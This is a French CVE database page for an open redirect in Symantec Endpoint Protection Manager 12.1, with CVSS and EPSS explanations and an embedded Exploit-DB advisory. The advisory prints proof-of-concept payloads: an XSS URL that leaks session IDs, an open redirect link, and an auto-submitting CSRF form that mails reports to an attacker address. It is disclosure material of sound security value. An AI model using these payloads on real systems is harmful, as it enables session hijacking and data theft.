CVE-2016-5304 : Détail

CVE-2016-5304

6.8
/
Moyen
0.85%V3
Network
2016-06-30
21h00 +00:00
2017-09-02
07h57 +00:00
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Descriptions du CVE

Open redirect vulnerability in a report-routing component in Symantec Endpoint Protection Manager (SEPM) 12.1 before RU6 MP5 allows remote authenticated users to redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 6.8 MEDIUM CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

nvd@nist.gov
V2 4.9 AV:N/AC:M/Au:S/C:P/I:P/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 40041

Date de publication : 2016-06-28 22h00 +00:00
Auteur : hyp3rlinx
EDB Vérifié : Yes

[+] Credits: John Page aka HYP3RLINX [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/SYMANTEC-SEPM-MULTIPLE-VULNS.txt [+] ISR: ApparitionSec Vendor: ================ www.symantec.com Product: =========== SEPM Symantec Endpoint Protection Manager and client v12.1 SEPM provides a centrally managed solution. It handles security policy enforcement, host integrity checking (Symantec Network Access Control only), and automated remediation over all clients. The policies functionality is the heart of the Symantec software. Clients connect to the server to get the latest policies, security settings, and software updates. Vulnerability Type(s): ====================== Multiple Cross Site Scripting (XSS) Cross Site Request Forgeries (CSRF) Open Redirect CVE Reference(s): ================= CVE-2016-3652 / XSS CVE-2016-3653 / CSRF CVE-2016-5304 / Open Redirect Vulnerability Details: ===================== The management console for SEPM contains a number of security vulnerabilities that could be used by a lower-privileged user or by an unauthorized user to elevate privilege or gain access to unauthorized information on the management server. Exploitation attempts of these vulnerabilities requires access to the SEP Management console. References: ============ https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160628_01 Exploit code(s): =============== In this case XSS can bypass the "http-only" cookie protection because the SEPM application writes and stores the session ID within various javascript functions used by the application within the DOM thereby exposing them directly to the XSS attack. 1) createModalDialogFromURL 2) createWindowFromURL 3) createWindowFromForm 4) createIEWindowFromForm So all we need to do is alert(createModalDialogFromURL) anyone one of them (functions) an it will leak the session ID essentially throwing the HttpOnly secure cookie protection flag into the garbage. e.g. XSS POC Defeat http-only flag and access PHPSESSID: https://localhost:8445/Reporting/Admin/notificationpopup.php?New=1&Type=CR&height=alert%28createModalDialogFromURL%29# Open Redirect in external URL .php script: ========================================= A reporting URL used to route generated reports externally to any authorized URL is susceptible to an open redirect vulnerability that could have allowed an authorized but less-privileged user to redirect an unsuspecting privileged user to an external URL to attempt further exploitation, e.g. phishing. If a victim clicks on a link supplied by an attacker e.g. https://localhost:8445/Reporting/common/externalurl.php?url=http://hyp3rlinx.altervista.org Cross Site Request Forgery (CSRF): ================================== Multiple Cross Site Request Forgery exists in couple of places within this version of SEPM below is an example of sending scheduled report to an remote attackers email, if current logged in user visits malicious webpage or clicks infected link etc... Symantec Reporting Admin CSRF POC: <form id="PWN" action="https://localhost:8445/Reporting/Reports/sr-save.php" method="POST" /> <input type="hidden" name="ReportName" value="HELL" /> <input type="hidden" name="Description" value="PWNED!" /> <input type="hidden" name="DisableReportSchedule" value="on" /> <input type="hidden" name="NewReport" value="Y" /> <input type="hidden" name="reporttype" value="1" /> <input type="hidden" name="FILTERNAME" value="Default" /> <input type="hidden" name="runEvery" value="1" /> <input type="hidden" name="repeat" value="weekly" /> <input type="hidden" name="datesched1" value="02%2F10%2F2016" /> <input type="hidden" name="datesched2" value="02%2F10%2F2016" /> <input type="hidden" name="filHourSchedule" value="16" /> <input type="hidden" name="Schedulehour" value="16" /> <input type="hidden" name="filMinSchedule" value="56" /> <input type="hidden" name="Scheduleminute" value="56" /> <input type="hidden" name="sysadmin" value="off" /> <input type="hidden" name="sendto" value="evil@abyss.com" /> <input type="hidden" name="updatelastrun" value="0" /> <input type="hidden" name="HISTORYCONFIG_IDX" value="" /> <input type="hidden" name="ReportPrefix" value="Y" /> <input type="hidden" name="report_idx" value="Y-0" /> <script>document.getElementById('PWN').submit()</script> </form> Disclosure Timeline: ============================================ Vendor Notification: Febuary 11, 2016 Vendor Acknowledges Report: Febuary 12, 2016 Vendor Releases Fix: June 28, 2016 June 29, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level(s): ==================== Cross Site Scripting Medium v2 6.8 AV:A/AC:M/Au:S/C:C/I:C/A:N v3 6.7 AV:A/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N Cross Site Request Forgery High v2 7.0 AV:A/AC:M/Au:M/C:C/I:C/A:C v3 7.1 AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H Open Redirect Medium v2 4.1 AV:A/AC:L/Au:S/C:P/I:P/A:N v3 4.1 AV:A/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx

Products Mentioned

Configuraton 0

Symantec>>Endpoint_protection_manager >> Version To (including) 12.1.6

Références

http://www.securitytracker.com/id/1036196
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/91447
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/40041/
Tags : exploit, x_refsource_EXPLOIT-DB